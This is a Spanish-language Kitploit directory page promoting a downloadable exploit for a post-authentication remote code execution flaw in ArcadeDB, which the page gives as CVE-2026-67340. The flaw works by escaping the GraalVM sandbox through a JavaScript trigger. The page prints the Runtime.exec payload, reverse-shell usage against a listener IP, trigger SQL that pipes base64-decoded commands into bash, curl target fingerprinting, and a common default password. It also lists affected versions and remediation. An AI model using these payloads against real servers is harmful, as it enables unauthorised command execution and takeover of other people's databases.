Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-67340_exploit — Exploit de RCE posterior a la autenticación para ArcadeDB mediante un disparador de JavaScript que provoca un escape del sandbox de GraalVM, ejecutando comandos del sistema operativo a través de la API HTTP con modos de shell inversa o comando ciego. | Kitploit
Herramientas/GitHubGitHub/0xdak/cve-2026-67340_exploit
ExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad de Bases de Datos
GitHub0xdak/cve-2026-67340_exploit

CVE-2026-67340_exploit

Exploit de RCE posterior a la autenticación para ArcadeDB mediante un disparador de JavaScript que provoca un escape del sandbox de GraalVM, ejecutando comandos del sistema operativo a través de la API HTTP con modos de shell inversa o comando ciego.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
hace 17 díasAún no revisado

CVE-2026-67340 — ArcadeDB RCE (post-autenticación) mediante script de disparador JAVASCRIPT

Ejecución remota de código posterior a la autenticación en ArcadeDB (una base de datos Java multimodelo) mediante un disparador JAVASCRIPT que accede a clases del host.

El motor políglota de GraalVM de un disparador se construye con una lista de permitidos de clases del host que incluye java.lang.* (ScriptTriggerExecutor.setAllowedPackages), por lo que un script de disparador puede llamar a:

root@kitploit:~
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);

allowCreateProcess(false) no lo bloquea: Runtime.exec es una llamada a método del host permitida por HostAccess.ALL, no la API de procesos invitados de GraalVM. Crear un disparador solo requiere el permiso UPDATE_SCHEMA (más débil que UPDATE_SECURITY, que restringe el scripting directo), por lo que root puede hacerlo: un RCE post-autenticación a través de la API HTTP.

  • Afecta a: ArcadeDB < 26.7.2 (0 – 26.7.1)
  • Corregido en: 26.7.2 (elimina java.lang.* de la lista de permitidos del disparador y añade un literal HostClassLookupFilter con una lista de denegados de procesos/reflexión/classloader)
  • Puerto por defecto: 2480 (API HTTP + Studio; autenticación Basic)
  • CWE: 94 (Inyección de código) / escape de sandbox
  • Impacto: ejecución de comandos del sistema operativo como el usuario del proceso de ArcadeDB

La ruta de comando directa language:js no es el vector: no tiene paquetes permitidos (Java.type bloqueado) y está restringida por UPDATE_SECURITY. Solo el ejecutor de disparadores tiene java.lang.* codificado de forma fija.

Requisitos

Solo la biblioteca estándar de Python 3 — sin dependencias. Credenciales válidas de ArcadeDB con UPDATE_SCHEMA (p. ej., root). ArcadeDB no tiene contraseña por defecto fija, pero su propio docker-compose.yml incluye el ejemplo root:playwithdata, que es una credencial habitual que se deja intacta.

Uso

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'

# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb

Cómo funciona

Tres solicitudes POST /api/v1/command/<db> autenticadas (language:sql):

  1. CREATE DOCUMENT TYPE Pwn
  2. CREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'
  3. INSERT INTO Pwn SET x = 1 — el disparador BEFORE CREATE se activa y el JavaScript se ejecuta.

El comando del sistema operativo está envuelto en base64 para que las capas JavaScript/SQL/JSON no necesiten escapar comillas anidadas, y el script omite waitFor() para que exec retorne inmediatamente (el proceso hijo sigue ejecutándose, la solicitud no se bloquea).

Identificar un objetivo

root@kitploit:~
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases   # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases               # lists databases

Remediación

Actualiza a ArcadeDB ≥ 26.7.2, establece una rootPassword segura (nunca playwithdata), no ejecutes ArcadeDB como root, restringe UPDATE_SCHEMA y mantén la API HTTP/Studio fuera de redes no confiables.

Aviso legal

Solo para pruebas de seguridad autorizadas y con fines educativos. Úsalo únicamente contra sistemas que poseas o tengas permiso explícito para probar.

Descargar herramienta